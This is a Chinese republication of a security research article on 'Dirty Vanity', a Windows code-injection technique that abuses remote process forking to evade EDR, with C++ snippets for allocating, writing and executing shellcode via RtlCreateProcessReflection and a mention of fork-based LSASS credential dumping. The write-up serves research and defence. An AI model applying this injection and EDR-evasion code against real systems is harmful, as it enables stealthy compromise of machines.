DirtyVanity:利用Windows远程Fork的代码注入新方法与EDR绕过

admin 2025-12-25 02:46:22 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: DirtyVanity利用Windows远程Fork机制实现代码注入以绕过EDR。该技术在目标进程写入Payload后,利用RtlCreateProcessReflection创建进程副本并执行Payload。因执行发生在未被写入的子进程,EDR无法关联注入链路从而失效。文章建议防御方监控Fork原语及克隆进程上下文。 综合评分: 94 文章分类: 免杀,红队,漏洞分析,二进制安全


cover_image

Dirty Vanity:利用 Windows 远程 Fork 的代码注入新方法与 EDR 绕过

Eliran Nissan

securitainment

2025年12月24日 10:24 中国香港

Dirty Vanity 是一种新的代码注入(code injection)技术,它滥用 Windows 操作系统中一个不太为人所知的机制:forking。本文将深入讲解 forking,介绍其合法用途,并展示攻击者如何通过注入恶意代码来“致盲”EDR。

实现一种新的代码注入技术通常遵循一套简单公式,因此防御这类攻击相对可控。但偶尔也会出现一些“离经叛道”的新技术,无法用常规方法缓解。Dirty Vanity 就是一个典型案例。

Forking 背景

对进程进行 forking,是指从调用进程派生出一个新进程。“fork”这一名称源自 UNIX 的进程创建系统调用:fork与 exec

Dirty Vanity 的本质,是对 Windows 中合法 forking 机制的滥用。

Windows 上的 fork

Windows 本身并不使用 fork 与 exec 来创建进程。但在早期的 POSIX 子系统中,它确实提供过相关支持(自 1993 年 Windows NT 第一版起就包含在内),用于支持基本的 UNIX 二进制程序执行。POSIX 子系统早已被替代(先是在 Windows XP 时代由 Windows Services for UNIX(SFU)取代,之后又被当前的 Windows Subsystem for Linux(WSL)取代),但其中的代码直到今天仍在影响 Windows。

下面我们看看 psxdll.dll:它曾是该子系统的核心 DLL 之一,导出了基础的 UNIX API:

图 1: fork 的起源

可以看到,_fork在内部通过调用 ntdll 的 RtlCloneUserProcess来实现,而后者负责实际的 forking。

在上面的例子里,我们看到了 Windows 上 fork 的来源。直到今天,以下机制仍在使用 forking:

Process Reflection– 一种 forking 机制,其目标是让那些本应持续提供服务的进程也能被分析。WDI(Windows Diagnostics Infrastructure)就使用 Process Reflection 来完成这件事:

图 2: Process Reflection

Process Snapshotting– 允许你捕获进程状态(部分或全部)。它可以利用 Windows 内部的 POSIX fork 克隆能力,高效捕获进程虚拟地址空间中的内容。

一个恶意用例示例:

通过 forking 进行 Credential Dumping – 在凭据转储(credential dumping)领域,许多防护都聚焦于存放登录用户凭据的 LSASS.exe。存在一种基于 forking 的绕过思路:利用前述某种 forking 机制去 fork LSASS.exe,并访问相对“保护较弱”的 fork 副本内容:

图 3: 通过 forking 进行 Credential Dumping

总结一下:Windows 具备一种 forking 能力,它与最初旨在支持的传统 UNIX fork 类似,但同时又暴露出一种不同且更强大的“远程 fork”选项。借助 Windows 中这种远程 fork 的可能性,我们可以像上面 LSASS.exe转储用例那样操纵防护机制。而在 Dirty Vanity 的场景中,我们将展示它还能被进一步滥用。

Forking API

在介绍 Dirty Vanity 如何滥用远程 forking 之前,我们先梳理一下可用于触发 fork 的 Windows API。首先从支持 POSIX 基础 fork 的 API 开始:

RtlCloneUserProcess(
 ULONG ProcessFlags,
 PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
 PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
 HANDLE DebugPort,
 PRTL_USER_PROCESS_INFORMATION ProcessInformation);

RtlCloneUserProcess本质上是对 NtCreateUserProcess的一层封装,调用的是同一种能力:

NtCreateUserProcess(
 PHANDLE ProcessHandle,
 PHANDLE ThreadHandle,
 ACCESS_MASK ProcessDesiredAccess,
 ACCESS_MASK ThreadDesiredAccess,
 POBJECT_ATTRIBUTES ProcessObjectAttributes,
POBJECT_ATTRIBUTES ThreadObjectAttributes,
ULONG ProcessFlags,
ULONG ThreadFlags,
PVOID ProcessParameters,
 PPS_CREATE_INFO CreateInfo,
 PPS_ATTRIBUTE_LIST AttributeList);

NtCreateUserProcess是一个系统调用。它通过在 PPS_ATTRIBUTE_LIST AttributeList参数中设置 PS_ATTRIBUTE_PARENT_PROCESS来暴露“进程 fork”能力,如下所示:

NTSTATUS NtForkUserProcess()
{
 HANDLE hProcess = nullptr, hThread = nullptr;
 OBJECT_ATTRIBUTES poa = { sizeof(poa) };
 OBJECT_ATTRIBUTES toa = { sizeof(toa) };
 PS_CREATE_INFO createInfo = {sizeof(createInfo)};
 createInfo.State = PsCreateInitialState;
// Add a parent handle in attribute list
 PPS_ATTRIBUTE_LIST attributeList;
 PPS_ATTRIBUTE attribute;
 UCHAR attributeListBuffer[FIELD_OFFSET(PS_ATTRIBUTE_LIST, Attributes) + sizeof(PS_ATTRIBUTE) * 1];
memset(attributeListBuffer, 0, sizeof(attributeListBuffer));
&nbsp;attributeList = reinterpret_cast<PPS_ATTRIBUTE_LIST>(attributeListBuffer);
&nbsp;attributeList->TotalLength =&nbsp;FIELD_OFFSET(PS_ATTRIBUTE_LIST, Attributes) +&nbsp;sizeof(PS_ATTRIBUTE) *&nbsp;1;
&nbsp;attribute = &attributeList->Attributes[0];
&nbsp;attribute->Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
&nbsp;attribute->Size&nbsp;=&nbsp;sizeof(HANDLE);
&nbsp;attribute->ValuePtr =&nbsp;GetCurrentProcess();

&nbsp;NtCreateUserProcessFunc&nbsp;const&nbsp;NtCreateUserProcess = reinterpret_cast<NtCreateUserProcessFunc>(GetProcAddress(LoadLibraryA("ntdll.dll"),&nbsp;"NtCreateUserProcess"));
&nbsp;NTSTATUS res =&nbsp;NtCreateUserProcess(&hProcess, &hThread,&nbsp;0,&nbsp;0, nullptr, nullptr, PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT | PROCESS_CREATE_FLAGS_INHERIT_HANDLES, THREAD_CREATE_FLAGS_CREATE_SUSPENDED, nullptr, &createInfo, attributeList);
auto&nbsp;pid =&nbsp;GetProcessId(hProcess);
return&nbsp;res;
}

如前所述,Windows 上更强的 fork 变体是“远程 fork”。但如果我们在该示例中尝试把 attribute->ValuePtr = GetCurrentProcess();替换为另一个句柄(例如 attribute->ValuePtr = someOtherHandle;),就会失败,并返回 STATUS_INVALID_PARAMETER == 0xC000000D。这意味着该 API 并不支持远程 forking。

远程 forking

接下来我们将探究 Process Reflection与 Process Snapshotting背后的 API,因为它们正是 Windows 中提供“远程 forking”能力的机制。

Process Snapshotting 通过 Kernel32!PssCaptureSnapshot触发。沿着调用链向下看会发现:Kernel32!PssCaptureSnapshot调用 ntdll!PssNtCaptureSnapshot,后者再调用 ntdll!NtCreateProcessEx

下面看看 NtCreateProcessEx及其旧版 NtCreateProcess

NtCreateProcessEx(PHANDLE ProcessHandle,
&nbsp; ACCESS_MASK DesiredAccess,
&nbsp; POBJECT_ATTRIBUTES ObjectAttributes ,
&nbsp; HANDLE ParentProcess,
&nbsp; ULONG Flags,
&nbsp; HANDLE SectionHandle,
&nbsp; HANDLE DebugPort,
&nbsp; HANDLE ExceptionPort,
&nbsp; BOOLEAN InJob);
NtCreateProcess(
&nbsp; PHANDLE ProcessHandle,
&nbsp; ACCESS_MASK DesiredAccess,
&nbsp; POBJECT_ATTRIBUTES ObjectAttributes,
&nbsp; HANDLE ParentProcess,
&nbsp; BOOLEAN InheritObjectTable,
&nbsp; &nbsp;HANDLE SectionHandle,
&nbsp; &nbsp; HANDLE DebugPort,
&nbsp; &nbsp; HANDLE ExceptionPort);

NtCreateProcess[Ex]是两种较旧的进程创建系统调用,它们提供了另一条访问 forking 机制的路径。不过,与较新的 NtCreateUserProcess不同,你可以通过将 HANDLE ParentProcess参数设置为目标进程句柄,来实现对远程进程的 fork。

Process Reflection 则通过 RtlCreateProcessReflection触发:

RtlCreateProcessReflection(
&nbsp; HANDLE ProcessHandle,
&nbsp; ULONG Flags,
&nbsp; PVOID StartRoutine,
&nbsp; PVOID StartContext,
&nbsp; HANDLE EventHandle,
&nbsp; T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation);

RtlCreateProcessReflection会 fork 由 HANDLE ProcessHandle表示的进程。

它会执行以下动作:

  1. 创建一个共享内存 section。
  2. 将参数写入该共享内存 section。
  3. 将该共享内存 section 映射到当前进程与目标进程。
  4. 通过调用 RtlpCreateUserThreadEx在目标进程上创建线程,并让该线程从 ntdll 的 RtlpProcessReflectionStartup函数开始执行。
  5. 新建线程调用 RtlCloneUserProcess,并传入它从与发起进程共享的内存映射中取得的参数。RtlCloneUserProcess如前所述封装了 NtCreateUserProcess,后者会将当前进程 fork 到新的目标进程。
  6. 在内核态(kernel mode)下,NtCreateUserProcess执行的大多数代码路径与创建新进程时相同;不同之处在于,它调用的 PspAllocateProcess(用于创建进程对象与初始线程)会带着一个标志调用 MmInitializeProcessAddressSpace,指示地址空间应为目标进程的 copy-on-write 拷贝,而不是初始进程地址空间。
  7. 如果 RtlCreateProcessReflection的调用者指定了 PVOID StartRoutineRtlpProcessReflectionStartup会在退出前将执行流转移到该例程;如果提供了 PVOID StartContext,也会作为参数传入。

你可能已经猜到了:PVOID StartRoutine在 Dirty Vanity 中扮演关键角色。

forking 的大部分“重活”在内核态(kernel mode)完成。其中最有意思的一点是:它会将目标进程的整个地址空间复制到 fork 出来的进程中,包括动态分配的内存以及运行时修改过的内容。也正是这一点,把我们带到了 Dirty Vanity。

Dirty Vanity 准备

代码注入与端点检测与响应(EDR)

先简要回顾一下传统注入的步骤。

为了让被注入的代码在目标进程中运行,注入器通常会做以下事情:

  • 步骤 1:为待注入的 shellcode 分配空间,或为其寻找 code cave。
  • 步骤 2:使用各种写入原语,将 shellcode 写入步骤 1 创建的空间,例如:
  • WriteProcessMemory
  • NtMapViewOfSection
  • GlobalAddAtom
  • 步骤 3:使用各种执行原语,执行步骤 2 写入的 shellcode,例如:
  • NtSetContextThread
  • NtQueueApcThread
  • IAT hook 并触发该 hook

注入器可以选择任意组合的 Allocate、Write、Execute 原语(primitive),依次调用,形成一次注入。

由于注入原语具有高度多样性,大多数 EDR 会尝试 hook 已知的全部原语来应对注入。下面是一个示例:Injector.exe在 Explorer.exe上执行最简单的注入:

图 4: 在 Explorer.exe 上的简单注入

当 EDR 监控系统时,它会在同一目标上监控各类原语,并在 Explorer.exe上捕获到三步全链路:

  • 分配(Allocation)= VirtualAllocEx
  • 将内容写入已分配内存(Write)= WriteProcessMemory
  • 执行已写入内容(Execute)= CreateRemoteThread

当最终的执行原语被监控到时,EDR 就会检测或阻断这次注入尝试。

Dirty Vanity 实战

Dirty Vanity 将前面介绍的 Windows 远程 forking 机制,作为注入领域的一种新原语:Fork。其核心思路很简单,包含以下步骤:

  1. 初始写入步骤(Initial Write Step):用你偏好的任意方式,在目标进程中分配并写入 payload,例如:

  2. VirtualAllocEx

    WriteProcessMemory

  3. NtCreateSection

    NtMapViewOfSection

  4. 其他任意方式

  5. Fork 与执行步骤(Fork & Execute Step):对目标进程执行远程 fork,并将新进程的启动地址设置为 payload(payload 会被 fork 到相同地址),可通过以下方式实现:

  6. RtlCreateProcessReflection

    PVOID StartRoutine = points to cloned shellcode

  7. NtCreateProcess[Ex] + any execute primitive on the cloned shellcode

把这些步骤套用到前面的例子中:

图 5: Dirty Vanity 流程

Injector.exe先按常规流程对 Explorer.exe调用 VirtualAllocEx,接着调用 WriteProcessMemory。监控系统的 EDR 会关联这些操作,并等待第三个“执行原语”,以将其标记为一次注入(Injection)。

在 Dirty Vanity 中,这个“预期的执行原语”并不会发生;取而代之的是转向调用远程 fork API。

此时,Explorer.exe会被 fork 出一个自身副本。fork 得到的进程包含 Explorer.exe地址空间的拷贝,其中也包括初始写入步骤中的 payload:它仍位于相同地址,并具有相同的内存保护属性。

只要把 fork 出来的进程的启动地址设为我们的 payload,它就会执行。可通过以下方式做到:

  1. RtlCreateProcessReflection(PVOID StartRoutine = points to cloned shellcode)
  2. NtCreateProcess[Ex] + a follow up execute primitive on the cloned shellcode

完成以上步骤后,fork 出来的 Explorer.exe 副本就会包含并执行我们的 payload。

Dirty Vanity 的新颖之处在于 fork 带来的“阶段分离”:Allocate 与 Write 阶段仍然在原目标进程上按常规完成,但它们不会“收尾成案”,因为真正关键的执行阶段(从 EDR 视角决定是否构成注入的关键一步)是在 fork 出来的目标进程上、由它自身完成的。

从 EDR 的视角来看,新 fork 出来的 Explorer.exe从未被写入,因此对它发生的执行行为也无法与“写入尝试”建立关联。

正因为这种特殊的执行路径,Dirty Vanity 能绕过常见的 EDR 检测方法。

运行 Dirty Vanity 的前置条件

为了触发 Dirty Vanity,我们需要一个具备以下访问权限的目标进程句柄:

  • RtlCreateProcessReflection variant: PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE
  • NtCreateProcess[Ex] variant: PROCESS_CREATE_PROCESS

为了实现完整流程,目标进程句柄应同时包含上述权限,以及与你选择的“初始写入步骤”相匹配的其他权限组合。

通过 RtlCreateProcessReflection 实现 Dirty Vanity

本文所述研究聚焦于基于 RtlCreateProcessReflection 的 POC 实现。

下面是一段通过它实现 Dirty Vanity 的代码片段:

unsignedchar&nbsp;shellcode[] = {0x40,&nbsp;0x55,&nbsp;0x57, ...};
size_t&nbsp;bytesWritten =&nbsp;0;

// Opening the fork target with the appropriate rights
HANDLE victimHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE,&nbsp;TRUE, victimPid);

// Allocate shellcode size within the target
DWORD_PTR shellcodeSize =&nbsp;sizeof(shellcode);
LPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// Write the shellcode
BOOL status = WriteProcessMemory(victimHandle, baseAddress, shellcode, shellcodeSize, &bytesWritten);
#defineRTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES0x00000002
HMODULE ntlib = LoadLibraryA("ntdll.dll");
Rtl_CreateProcessReflection RtlCreateProcessReflection = (Rtl_CreateProcessReflection)GetProcAddress(ntlib,&nbsp;"RtlCreateProcessReflection");
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = {&nbsp;0&nbsp;};

// Fork target & Execute shellcode base within clone
NTSTATUS ret = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, baseAddress,&nbsp;NULL,&nbsp;NULL, &info);

第一次尝试该 POC 时,我们使用了一个基础的 MessageBoxA shellcode,结果触发了 Access violation 异常:

1:002> g
(6738.da4): Access violation - code c0000005 (first chance)

First-chance exceptions are reported before any exception handling.

This exception may be expected and handled.
USER32!GetDpiForCurrentProcess+0x14:

00007ff8`8b75719c 0fb798661b0000 movzx ebx,word ptr [rax+1B66h] ds:000002d3`6ef92ba6=????
1:002> k
# Child-SP RetAddr &nbsp;Call Site
00 000000da`df9ffb10 00007ff8`8b7570c2 USER32!GetDpiForCurrentProcess+0x14
01 000000da`df9ffb40 00007ff8`8b75703b USER32!ValidateDpiAwarenessContextEx+0x32
02 000000da`df9ffb70 00007ff8`8b7bc2da USER32!SetThreadDpiAwarenessContext+0x4b
03 000000da`df9ffba0 00007ff8`8b7bc0d8 USER32!MessageBoxTimeoutW+0x19a
04 000000da`df9ffca0 00007ff8`8b7bbcee USER32!MessageBoxTimeoutA+0x108
05 000000da`df9ffd00 000002d3`71bf0050 USER32!MessageBoxA+0x4e
06 000000da`df9ffd40 00007ff8`8c210000 0x000002d3`71bf0050

shellcode 确实被 fork 并执行了,但 USER32!MessageBoxA的内部逻辑无法在 fork 环境中正常工作。

简而言之,USER32!MessageBoxA需要将 user32!gSharedInfo结构映射到进程中。

而我们的 fork 进程缺少它,因为 user32!gSharedInfo是通过 ViewUnmap设置为显式映射到每个进程中的:

“ViewUnmap: The view will not be mapped into child processes.” – MSDN

这意味着带有 ViewUnmap的数据(例如 user32!gSharedInfo)不会出现在克隆出的子进程中。为绕过这个障碍,我们的 POC 选择使用“NTDLL only”shellcode:它完全自包含,因此不依赖这类区段数据。

我们使用 https://github.com/rainerzufalldererste/windows_x64_shellcode_template 作为模板,制作了一个基于 ntdll 的自定义 shellcode,它会执行:

  1. 从 LDR 中定位 Ntdll API
  2. 使用 RtlInitUnicodeStringRtlAllocateHeapRtlCreateProcessParametersEx创建参数
  3. 调用 NtCreateUserProcess
  4. 进程:C:\Windows\System32\cmd.exe
  5. 命令行:/k msg * “Hello from Dirty Vanity”

完整源代码见: https://github.com/deepinstinct/Dirty-Vanity

串联起来

图 6: 通过 Explorer 的 PID 调用 Dirty Vanity

图 7: 结果进程树:被 fork 的 Explorer 子进程执行我们的 shellcode

总结

为检测代码注入,EDR 传统上会监控并关联同一进程上的 Allocate / Write / Execute操作。Fork API 引入了一种新的注入原语:Fork,这对传统检测思路构成挑战。

Dirty Vanity 利用 forking 将所有 Allocate 与 Write 的“成果”克隆到一个新进程中。从 EDR 视角来看,这个新进程从未被写入,因此当它最终通过以下方式被执行时,也不会被标记为“被注入”:

  • 通过 RtlCreateProcessReflection实现 Fork & Execute,这是本文研究的重点。
  • 在调用 RtlCreateProcessReflection或 NtCreateProcess[Ex]之后,再使用常规 Execute 原语,这条路径仍有待进一步探索。

Dirty Vanity 改变了我们看待注入防御的方式:forking 改写了 OS 监控的规则。EDR 必须转而监控所有相关的 forking 原语,进而跟踪被 fork 出来的进程,并以与其父进程相同的“上下文知识”来对待它们。

如需了解该案例的更多细节,以及更多研究过程内容,可查看 Deep Instinct Research 团队在 Black Hat 的演讲: https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Nissan-DirtyVanity.pdf

参考资料

  1. https://github.com/deepinstinct/Dirty-Vanity
  2. https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Nissan-DirtyVanity.pdf
  3. https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/ 本地 forking 相关:RtlCloneUserProcess与 NtCreateUserProcess
  4. https://gist.github.com/juntalis/4366916 与 https://gist.github.com/Cr4sh/126d844c28a7fbfd25c6 RtlCloneUserProcess用法与有用常量
  5. https://gist.github.com/GeneralTesler/68903f7eb00f047d32a4d6c55da5a05c 使用 RtlCreateProcessReflection的凭据转储用例;其中的 reflection 代码取自下一条链接
  6. https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp RtlCreateProcessReflection源码框架
  7. https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/ PssCaptureSnapshot→ NtCreateProcessEx
  8. Windows Internals 第 7 版(上册)中关于 RtlCreateProcessReflection的部分
  9. https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2011/BH_US_11_Mandt_win32k_Slides.pdf
  10. https://www.youtube.com/watch?v=EkGDSqpfzgg
  11. https://github.com/rainerzufalldererste/windows_x64_shellcode_template

Dirty Vanity: A New Approach to Code Injection & EDR Bypass

免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment Eliran Nissan《Dirty Vanity:利用 Windows 远程 Fork 的代码注入新方法与 EDR 绕过》

评论:0   参与:  0